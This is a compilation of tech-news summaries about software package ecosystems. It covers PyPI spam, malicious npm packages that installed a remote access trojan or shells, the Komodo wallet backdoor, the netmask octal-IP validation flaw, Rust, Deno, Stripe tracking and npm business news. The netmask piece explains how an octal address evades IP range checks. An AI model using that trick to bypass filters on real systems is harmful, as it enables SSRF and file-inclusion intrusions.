"The official Python software package repository, PyPI, is getting flooded with spam packages..." Bleeping Computer reported Thursday.

"Each of these packages is posted by a unique pseudonymous maintainer account, making it challenging for PyPI to remove the packages and spam accounts all at once..." PyPI is being flooded with spam packages named after popular movies in a style commonly associated with torrent or "warez" sites that provide pirated downloads: watch-(movie-name)-2021-full-online-movie-free-hd-... Although some of these packages are a few weeks old, BleepingComputer observed that spammers are continuing to add newer packages to PyPI... The web page for these bogus packages contain spam keywords and links to movie streaming sites, albeit of questionable legitimacy and legality...

February of this year, PyPI had been flooded with bogus "Discord", "Google", and "Roblox" keygens in a massive spam attack, as reported by ZDNet. At the time, Ewa Jodlowska, Executive Director of the Python Software Foundation had told ZDNet that the PyPI admins were working on addressing the spam attack, however, by the nature of pypi.org, anyone could publish to the repository, and such occurrences were common.

Other than containing spam keywords and links to quasi-video streaming sites, these packages contain files with functional code and author information lifted from legitimate PyPI packages... As previously reported by BleepingComputer, malicious actors have combined code from legitimate packages with otherwise bogus or malicious packages to mask their footsteps, and make the detection of these packages a tad more challenging...

In recent months, the attacks on open-source ecosystems like npm, RubyGems, and PyPI have escalated. Threat actors have been caught flooding software repositories with malware, malicious dependency confusion copycats, or simply vigilante packages to spread their message. As such, securing these repositories has turned into a whack-a-mole race between threat actors and repository maintainers.

chicksdaddy shares a report from The Security Ledger: Independent security researchers analyzing the widely used open source component netmask have discovered security vulnerabilities that could leave more than a quarter million open source applications vulnerable to attack, according to a report released Monday, The Security Ledger reports. According to a report by the site Sick Codes, the flaws open applications that rely on netmask to a wide range of malicious attacks including Server Side Request Forgeries (SSRF) and Remote- and Local File Includes (RFI, LFI) that could enable attackers to ferry malicious code into a protected network, or siphon sensitive data out of one. Even worse, the flaws appear to stretch far beyond a single open source module, affecting a wide range of open source development languages, researchers say.

Netmask is a widely used package that allows developers to evaluate whether a IP address attempting to access an application was inside or outside of a given IPv4 range. Based on an IP address submitted to netmask, the module will return true or false about whether or not the submitted IP address is in the defined "block." According to the researcher using the handle "Sick Codes," the researchers discovered that netmask had a big blind spot. Specifically: it evaluates certain IP addresses incorrectly: improperly validating so-called "octal strings" rendering IPv4 addresses that contain certain octal strings as integers. For example, the IP4 address 0177.0.0.1 should be evaluated by netmask as the private IP address 127.0.0.1, as the octal string "0177" translates to the integer "127." However, netmask evaluates it as a public IPv4 address: 177.0.0.1, simply stripping off the leading zero and reading the remaining parts of the octal string as an integer.

The implications for modules that are using the vulnerable version of netmask are serious. According to Sick Codes, remote attackers can use SSRF attacks to upload malicious files from the public Internet without setting off alarms, because applications relying on netmask would treat a properly configured external IP address as an internal address. Similarly, attackers could also disguise remote IP addresses local addresses, enabling remote file inclusion (RFI) attacks that could permit web shells or malicious programs to be placed on target networks. But researchers say much more is to come. The problems identified in netmask are not unique to that module. Researchers have noted previously that textual representation of IPv4 addresses were never standardized, leading to disparities in how different but equivalent versions of IPv4 addresses (for example: octal strings) are rendered and interpreted by different applications and platforms.

Jake Edge, writing at LWN: The problems with "vendoring" in packages -- bundling dependencies rather than getting them from other packages -- seems to crop up frequently these days. We looked at Debian's concerns about packaging Kubernetes and its myriad of Go dependencies back in October. A more recent discussion in that distribution's community looks at another famously dependency-heavy ecosystem: JavaScript libraries from the npm repository. Even C-based ecosystems are not immune to the problem, as we saw with iproute2 and libbpf back in November; the discussion of vendoring seems likely to recur over the coming years. Many application projects, particularly those written in languages like JavaScript, PHP, and Go, tend to have a rather large pile of dependencies. These projects typically simply download specific versions of the needed dependencies at build time. This works well for fast-moving projects using collections of fast-moving libraries and frameworks, but it works rather less well for traditional Linux distributions. So distribution projects have been trying to figure out how best to incorporate these types of applications.

This time around, Raphael Hertzog raised the issue with regard to the Greenbone Security Assistant (gsa), which provides a web front-end to the OpenVAS vulnerability scanner (which is now known as Greenbone Vulnerability Management or gvm). "the version currently in Debian no longer works with the latest gvm so we have to update it to the latest upstream release... but the latest upstream release has significant changes, in particular it now relies on yarn or npm from the node ecosystem to download all the node modules that it needs (and there are many of them, and there's no way that we will package them individually). The Debian policy forbids download during the build so we can't run the upstream build system as is."

Hertzog suggested three possible solutions: collecting all of the dependencies into the Debian source package (though there would be problems creating the copyright file), moving the package to the contrib repository and adding a post-install step to download the dependencies, or removing gsa from Debian entirely. He is working on updating gsa as part of his work on Kali Linux, which is a Debian derivative that is focused on penetration testing and security auditing. Kali Linux does not have the same restrictions on downloading during builds that Debian has, so the Kali gsa package can simply use the upstream build process. He would prefer to keep gsa in Debian, "but there's only so much busy-work that I'm willing to do to achieve this goal". He wondered if it made more sense for Debian to consider relaxing its requirements. But Jonas Smedegaard offered another possible approach: analyzing what packages are needed by gsa and then either using existing Debian packages for those dependencies or creating new ones for those that are not available. Hertzog was convinced that wouldn't be done, but Smedegaard said that the JavaScript team is already working on that process for multiple projects.

The security team behind the "npm" repository for JavaScript libraries removed two npm packages this Monday for containing malicious code that installed a remote access trojan (RAT) on the computers of developers working on JavaScript projects. From a report: The name of the two packages was jdb.js and db-json.js., and both were created by the same author and described themselves as tools to help developers work with JSON files typically generated by database applications. Both packages were uploaded on the npm package registry last week and were downloaded more than 100 times before their malicious behavior was detected by Sonatype, a company that scans package repositories on a regular basis. According to Sonatype's Ax Sharma, the two packages contained a malicious script that executed after web developers imported and installed any of the two malicious libraries. The post-install script performed basic reconnaissance of the infected host and then attempted to download and run a file named patch.exe that later installed njRAT, also known as Bladabindi, a very popular remote access trojan that has been used in espionage and data theft operations since 2015.

"Three JavaScript packages have been removed from the npm portal on Thursday for containing malicious code," reports ZDNet.

"According to advisories from the npm security team, the three JavaScript libraries opened shells on the computers of developers who imported the packages into their projects." The shells, a technical term used by cyber-security researchers, allowed threat actors to connect remotely to the infected computer and execute malicious operations. The npm security team said the shells could work on both Windows and *nix operating systems, such as Linux, FreeBSD, OpenBSD, and others.

All three packages were uploaded on the npm portal in May (first) and September 2018 (last two). Each package had hundreds of downloads since being uploaded on the npm portal. The packages names were:

plutov-slack-client
nodetest199
nodetest1010

"Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer," the npm security team said.

This year Stack Overflow's Developer Survey of 65,000 programmers found that Rust was their most-loved programming language -- for the fifth year in a row. To understand why, they interviewed the top contributor to the site's Rust topic. ("The short answer is that Rust solves pain points present in many other languages, providing a solid step forward with a limited number of downsides...") But Stack Overflow also reached out to the Rust core team, including Berlin-based developer Erin Power, asking about any barriers to entry, and why they think Rust was the survey's most-loved language. ("I think it's because Rust makes big promises, and delivers on them...")

And finally, they got responses from Stack Overflow users in their Rust chatroom and forums, noting "Rust users are a passionate bunch, and I got some fascinating insights along with some friendly debates..." Many current programming discussions revolve around whether to use a fast, low-level language that lets you handle memory management or a higher-level language with greater safety precautions. For fans of Rust, they like that it does both.... While some languages just add polish and ease to existing concepts, several users feel that Rust is actually doing new things with a programming language. And it's not doing new things just to be showy; they feel these design choices solve hard problems with modern programming...

Stack Overflow user janriemer: "A quote from Chris Dickinson, engineer at npm, sums it up perfectly for me, because I have thought the same, without knowing the quote at that time: 'My biggest compliment to Rust is that it's boring, and this is an amazing compliment.' Rust is a programming language that looks like it has been developed by user experience designers. They have a clear vision (a why) of the language and carefully choose what to add to the language and what to rework, while listening to what the community really wants. There are no loose ends, it's all a coherent whole that perfectly supports a developer's workflow."
Stack Overflow's post also quotes Jay Oster, a software architect at the infrastructure-as-a-service company PubNub, who argues Rust "ticks all the boxes":

• Memory safe

• Type safe

• Data race-free

• Ahead-of-time compiled

• Built on and encourages zero-cost abstractions

• Minimal runtime (no stop-the-world garbage collection, no JIT compiler, no VM)

• Low memory footprint (programs run in resource constrained-environments like small microcontrollers)

• Targets bare-metal (e.g. write an OS kernel or device driver; use Rust as a 'high level assembler')"

He also describes Rust as "akin to wandering around in complete darkness for an entire career, and suddenly being enlightened to two facts:

• You are not perfect. You will make mistakes. Those mistakes will cause you a lot of problems.

• It doesn't have to be this way.

"The makers of the widely used JavaScript server-side runtime, Node.js, have released Deno 1.0, a new runtime for JavaScript and TypeScript that addresses 'design mistakes' in Node.js," reports ZDNet: Just like Node.js or Node, the Deno runtime is for executing JavaScript outside a web browser. However, unlike Node.js, Deno offers first-class support for Microsoft's increasingly popular Typescript, a superset of JavaScript designed for large projects... "With the changing JavaScript language, and new additions like TypeScript, building Node projects can become an arduous endeavor, involving managing build systems and other heavy-handed tooling that takes away from the fun of dynamic language scripting," writes Node.js creator Ryan Dahl in a blogpost co-authored by fellow Deno developers Bert Belder and Bartek Iwanczuk...

Deno is based on Google's Chromium V8 JavaScript engine.
While its standard modules are all written in TypeScript, Infoworld points out that Deno "can be a replacement for utility scripts that may have been written in Python or Bash... Deno was designed as a series of Rust crates to allow integration at different layers." (A blog post by its developers notes Deno "makes it easy to bind Rust future-based APIs into JavaScript promises.")

But "Like a web browser, it knows how to fetch external code," the developers wrote, calling Deno "a web browser for command-line scripts" while arguing that with Node, "the mechanism for linking to external libraries is fundamentally centralized through the NPM repository, which is not inline with the ideals of the web... Also like browsers, [Deno] code is executed in a secure sandbox by default. Scripts cannot access the hard drive, open network connections, or make any other potentially malicious actions without permission." In an interview Dahl tells JAXenter they're already keeping an index of third party modules that work on Deno at https://deno.land/x/.

"It's important to understand that Deno is not a fork of Node," the developers' blog post explains. "It's a completely new implementation..."

"One last thing," the blog post concludes. "Consider supporting this open source software work by pre-ordering a Deno v1.0 hoodie."

Michael Lynch, blogger and former software engineer at Microsoft and Google, discovered that the payment processing platform Stripe and its official JavaScript library records all browsing activity on its customers' websites and reports it back to the company. Lynch says this data includes the following:

1. Every URL the user visits on my site, including pages that never display Stripe payment forms
2. Telemetry about how the user moves their mouse cursor while browsing my site
3. Unique identifiers that allow Stripe to correlate visitors to my site against other sites that accept payment via Stripe

In his blog post, Lynch shares what he found, who else it affects, and how you can limit Stripe's data collection in your web applications. Here's how he says he made the discovery: I discovered this by accident while adding paid plans to my portfolio rebalancer. As part of development, I was using an HTTP proxy that allows me to inspect HTTP traffic from my browser. After successfully implementing my app's payment flow with Stripe, I noticed that every page navigation generated a new HTTP POST request to a Stripe URL. This was strange because none of the pages I visited contained any calls to Stripe's library. In fact, my app doesn't collect payment information from users until they create an account, but Stripe was making HTTP requests when I landed on my app's homepage as a brand new user with no cookies or stored credentials. "I looked around for an official disclosure from Stripe about this behavior, but I couldn't find anything," adds Lynch. "The closest I found is this vague paragraph on their npm package description, which the Stripe support rep quoted to me: 'To best leverage Stripe's advanced fraud functionality, ensure that Stripe.js is loaded on every page, not just your checkout page. This allows Stripe to detect anomalous behavior that may be indicative of fraud as customers browse your website.'"

"The privacy policy is a bit more specific about the data they collect, but it implies that they're collecting this data on stripe.com rather than on customer sites," writes Lynch. "Worryingly, the privacy policy also includes loose wording that allows Stripe to sell this data to advertisers: 'When you visit our Sites or online services, both we and certain third parties collect information about your online activities over time and across different sites to provide you with advertising about products and services tailored to your individual interests.'"

Nat Friedman: npm is a critical part of the JavaScript world. The work of the npm team over the last 10 years, and the contributions of hundreds of thousands of open source developers and maintainers, have made npm home to over 1.3 million packages with 75 billion downloads a month. Together, they've helped JavaScript become the largest developer ecosystem in the world. We at GitHub are honored to be part of the next chapter of npm's story and to help npm continue to scale to meet the needs of the fast-growing JavaScript community.

The team behind npm, the biggest package manager for JavaScript libraries, issued a security alert yesterday, advising all users to update to the latest version (6.13.4) to prevent "binary planting" attacks. From a report: Npm (Node.js Package Manager) devs say the npm command-line interface (CLI) client is impacted by a security bug -- a combination between a file traversal and an arbitrary file (over)write issue. The bug can be exploited by attackers to plant malicious binaries or overwrite files on a user's computer. The vulnerability can be exploited only during the installation of a boobytrapped npm package via the npm CLI. "However, as we have seen in the past, this is not an insurmountable barrier," said the npm team, referring to past incidents where attackers planed backdoored or boobytrapped packages on the official npm repository. Npm devs say they've been scanning the npm portal for packages that may contain exploit code designed to exploit this bug, but have not seen any suspicious cases. "That does not guarantee that it hasn't been used, but it does mean that it isn't currently being used in published packages on the [official npm] registry," npm devs said.

"Despite its own solvency concerns, NPM Inc on Tuesday deployed code changes that add a 'funding' command to the latest version of the npm command-line tool, namely v6.13.0," reports the Register: Henceforth, developers creating packages for the JavaScript runtime environment Node.js can declare metadata that describes where would-be donors can go to offer financial support. Doing so involves adding a funding field to package.json, a file that lists various module settings and dependencies. The funding field should be a URL that points to an online funding service, like Patreon, or payment-accepting website....

In a phone interview with The Register, NPM Inc co-founder and co-CTO Isaac Schlueter said: "The problem we're solving is open source projects need funding and there are very few ways people can get that information in front of people using their code...." Schlueter allowed that NPM Inc's funding mechanism may reward good marketers more than it rewards good developers. But he believes it will work against that. "One thing nice about this approach is that it does take some of the marketing skill out of the equation," he said. "Because all you really have to do is set up a payment URL and then put that in your packages. You don't have to craft the message expertly, you'll show up on that list at the end of the install."
"At the end of August, we made a promise to the community to invest time & effort to better support package maintainers," explains an announcement on the NPM blog.

"This work is just the first, small step toward creating a means/mechanism for a more sustainable open source development ecosystem."

The npm ecosystem of JavaScript libraries is more interwoven than most developers think, and the entire thing is a gigantic house of cards, being one bad hack away from compromising hundreds of thousands of projects, according to a recent academic study. From a report: The research, carried out by the Department of Computer Science from the Technical University of Darmstadt, in Germany, analyzed the dependency graph of the entire npm ecosystem. Researchers downloaded metadata for all the npm packages published until April 2018 and created a giant graph that included 676,539 nodes and 4,543,473 edges (lines connecting the nodes). In addition, academics also analyzed different versions of the same packages, looking at historical versions (5,386,239 versions for the 676,539 packages), but also at the package maintainers (199,327 npm accounts), and known security flaws impacting the packages (609 public reports). [...]

Their goal was to get an idea of how hacking one or more npm maintainer accounts, or how vulnerabilities in one or more packages, reverberated across the npm ecosystem; along with the critical mass needed to cause security incidents inside tens of thousands of npm projects at a time. [...] But while some npm packages load code from too many packages and from too many developers, there is another dangerous trend forming on the npm package repository -- namely the consolidation of popular npm packages under a few maintainer accounts. "391 highly influential maintainers affect more than 10,000 packages, making them prime targets for attacks," the research team said. "If an attacker manages to compromise the account of any of the 391 most influential maintainers, the community will experience a serious security incident."

intensivevocoder writes: Bryan Bogensberger's exit from npm, inc was quietly announced Friday afternoon in a press release stating that Bogensberger "resigned effective immediately to pursue new opportunities." This marked likely one of the few quiet actions in Bogensberger's tumultuous tenure as CEO of npm, the popular package manager of Node.js. Bogensberger started as CEO on January 9 this year, as part of a move announced by original author and co-founder Isaac Z. Schlueter as part of a plan to commercialize the service. Bogensberger's involvement with the company started in mid-2018, although he was not formally named CEO until 2019 pending the resolution of visa requirements. "Commercializing something like this without ruining it is no small task, and building the team to deliver on npm's promise is a major undertaking. We've sketched out a business plan and strategy for the next year, and will be announcing some other key additions to the team in the coming months," Schlueter wrote in January.

"Given how dependent we've become upon open source software, one would think that we would have a bevy of options for supporting the developers who write the code, but we don't..." writes InfoWorld's Matt Asay, in an essay defending Feross Aboukhadijeh for experimenting with ads in his open source JavaScript style guide library.

"We have some inchoate business and funding models that serve open source companies and open source developers more or less well, and too often less. What we need is more people like Aboukhadijeh earnestly experimenting with ways to make things better, more companies like Tidelift introducing novel ways to fund developers, and more organizations recognizing their own self-interest in employing or otherwise paying the developers who build the software they rely on... [U]ltimately, we need more experimentation, and less criticism." What about donations? As Aboukhadijeh has noted, "Lots of maintainers struggle to reach a barely livable wage via donations...." Linux Foundation Chris Aniszczyk has derisively described the approach [and] goes on to put the onus for paying developers on those companies that most benefit from their work: "[A] big part of innovation comes from developers working at organizations adopting open source software at scale and using it in interesting ways. It's these organizations that should be tasked to sustain open source software versus individuals, especially since they depend on open source software to survive as a business."

Aniszczyk isn't talking about mega-corps throwing money at mega-tip jars. Rather, he's talking about the big beneficiaries employing the developers who build the projects upon which they depend. It's a great idea, and one that has borne fruit in the Linux community and currently in the Kubernetes world. However it's done, there's an underlying principle that is critical to all of this: We need more experimentation.

The first requirement for ensuring open source sustainability is to allow and encourage experimentation. Concerned at his (and other open source developers') inability to make a comfortable living writing popular open source software, Standard co-founder Aboukhadijeh decided to experiment with an ad-supported model...

A week after a popular JavaScript library started showing full-blown ads in the npm command-line interface, npm, Inc., the company that runs the npm tool and website, has taken a stance and plans to ban such behavior in the future. From a report: "We are always working on improving our policies and expand on our commitments to the community," Ahmad Nassri, npm, Inc. CTO told ZDNet in an email this week. "To that end, we're making updates to our policies to be more explicit about the type of commercial content we do deem not acceptable." According to these upcoming updates, npm will ban:
1. Packages that display ads at runtime, on installation, or at other stages of the software development lifecycle, such as via npm scripts.
2. Packages with code that can be used to display ads are fine. Packages that themselves display ads are not.
3. Packages that themselves function primarily as ads, with only placeholder or negligible code, data, and other technical content.

Standard, a popular Javascript style guide library that is downloaded about three million times each month, is beginning to show ads when installed through npm, a developer announced this week. The move, which has been pegged as an experiment, comes as the developer looks to find sustainable ways to support contributions to the open source development. In a post, Feross Aboukhadijeh, a developer of Standard, said whenever Standard 14 is installed, "we'll display a message from a company that supports open source. The sponsorship pays directly for maintainer time. That is, writing new features, fixing bugs, answering user questions, and improving documentation."

The announcement has sparked a debate in the community with some suggesting that there should be a better way to support the FOSS developers without seeing ads on the terminal.

"If you're a cryptocurrency startup, would you face a huge backlash by hacking your own customers to keep their funds safe if you know that a hacker is about to launch an attack and steal their funds?" asks ZDNet: This is exactly what happened yesterday when the Komodo Platform learned about a backdoor in one of its older wallet apps named Agama. Knowing they had little time to act, the Komodo team said it used the same backdoor to extract users' funds from all impacted wallets and move them to a safe location, out of the hacker's reach.

The tactic paid off, and 8 million Komodo coins and 96 bitcoins, worth nearly $13 million, were taken from users' vulnerable accounts before the hacker could get a chance to abuse the backdoor and steal users' funds... While initially, it did not make any sense for a library with a very limited feature-set to contain such an advanced functionality, after investigating the issue, npm staffers realized they were dealing with a supply-chain attack aimed at another app downstream, which was using the now-backdoored library... The npm team said the malicious code would work as intended and collect Agama wallet app seeds and passphrases, and upload the data to a remote server.
These malicious-payload updates are "becoming more and more popular," according to a post on the official npm blog (a point they later emphasized in a press release).

"After being notified by our internal security tooling of this threat we responded by notifying and coordinating with Komodo to protect their users as well as remove the malware from npm."

"Online marketplace eBay has revealed how it boosted performance of a demanding web app by 50x using WebAssembly," reports TechRepublic: The "astonishing" speed-up after switching from a JavaScript-based to a largely WebAssembly-based web app was detailed by the eBay engineering team, who say the performance boost helped make it possible to build a highly-accurate barcode scanner as a web app... a feature it offers in its Android and iOS apps to allow sellers to scan items they are auctioning. "WebAssembly was different. It has tremendous potential, we just did not have the right use case. Well, that changed recently," write the eBay software engineering team.

One of the advantages of WebAssembly (Wasm) is that it offers code portability for a variety of languages, allowing developers to take code they've written for other platforms and compile to WebAssembly so it can run in major web browsers. Consequently eBay was able to take the existing version of its barcode scanner written in C++ and compile that to Wasm using Emscripten, adopting the Docker and Node.js-based approach outlined here. After a few minor teething problems, the eBay team were able to run the barcode scanner in the browser, using a Worker thread and JavaScript glue code.

The Wasm-based scanner was able to process images of the barcode at 50 Frames per Second (FPS), compared to about 1FPS in an earlier JavaScript-based scanner eBay had tested, a speed-up the team described as "astonishing".
Unfortunately, the Wasm code only successfully completed scans 60% of the time, because it wasn't using the inbuilt APIs available for the C++ code to either autofocus or provide user tap focus for the center of the scanned object. eBay's team ultimately ended up implementing three separate worker threads running the Wasm code, the open-source barcode reader ZBar, and their original JavaScript-based scanner code.

"The winning response (i.e. the first one to send a valid barcode) is sent to the main thread, and all workers are terminated... With three threads racing against each other, the success rate was indeed close to 100%."

ZDNet asked the question -- pointing to a RedMonk survey which found TypeScript jumped in popularity from #16 to #12 over the last six months (based on its usage in GitHub projects and in questions on Stack Overflow). The reason for this rise can be found in the latest survey of 33,000 developers from 156 countries who use npm, a hugely popular Node.js JavaScript package manager that's traditionally used to build website features... As per npm developers, a big surprise in last year's survey was that 46 percent of respondents said they used TypeScript. Today, the proportion of developers who use Microsoft's open-source take on JavaScript has ballooned to 62 percent... "Overall, 36 percent of npm users are writing TypeScript some or most of the time. That a third of the users in the JavaScript community are writing a totally new flavor of JavaScript should make everyone sit up and take notice" [according to npm Inc's report]. In other words, TypeScript should be on the list of languages to understand. As RedMonk noted in March, the growing number of projects helps explain why TypeScript's "trajectory is significant and sustainable" and won't just fade away like many other languages.
The article also argues that Microsoft's hit with TypeScript "comes as its open-source cross-platform code editor Visual Studio Code, or VS Code, finds a sweet spot with developers across the world, rising from being used by 500,000 developers in 2016 to 4.5 million in 2019. "

Meanwhile npm Inc. also points out that Slack's desktop application was written in JavaScript, pointing to this as evidence that JavaScript itself "has broken out of the browser and become a general-purpose programming language, put to all the same uses as other programming languages."

JavaScript library manager NPM on Wednesday apologized for its handling of a contentious round of recent layoffs. The Register reports: The company statement, which comes a week after product manager Rebecca Turner resigned in protest, is co-signed by chief executive officer Bryan Bogensberger, chief product officer Isaac Schlueter and chief data officer Laurie Voss. "Recently, we let go of five people in a company restructuring," the statement says. "The way that we undertook the process, unfortunately, made the terminations more painful than they needed to be, which we deeply regret, and we are sorry." By way of explanation, the statement attributes the changes at the company to shifting the firm's source of financial sustenance from venture funding to product revenue. That requires "new levels of commitment, delivery, and accountability," the implementation of which "has been uncomfortable at times."

In response to a question posed by The Register via Twitter, the company's former CTO CJ Silverio said, "The main thing I want to note is how NPM's statement is not an apology by [Isaac's] own standards. His blog post about apologies is very clear about the three things an apology must contain, and it seems to me that all three items were missing from that statement. It said nothing substantive. It went so far as to blame NPM's users for forcing them into the move."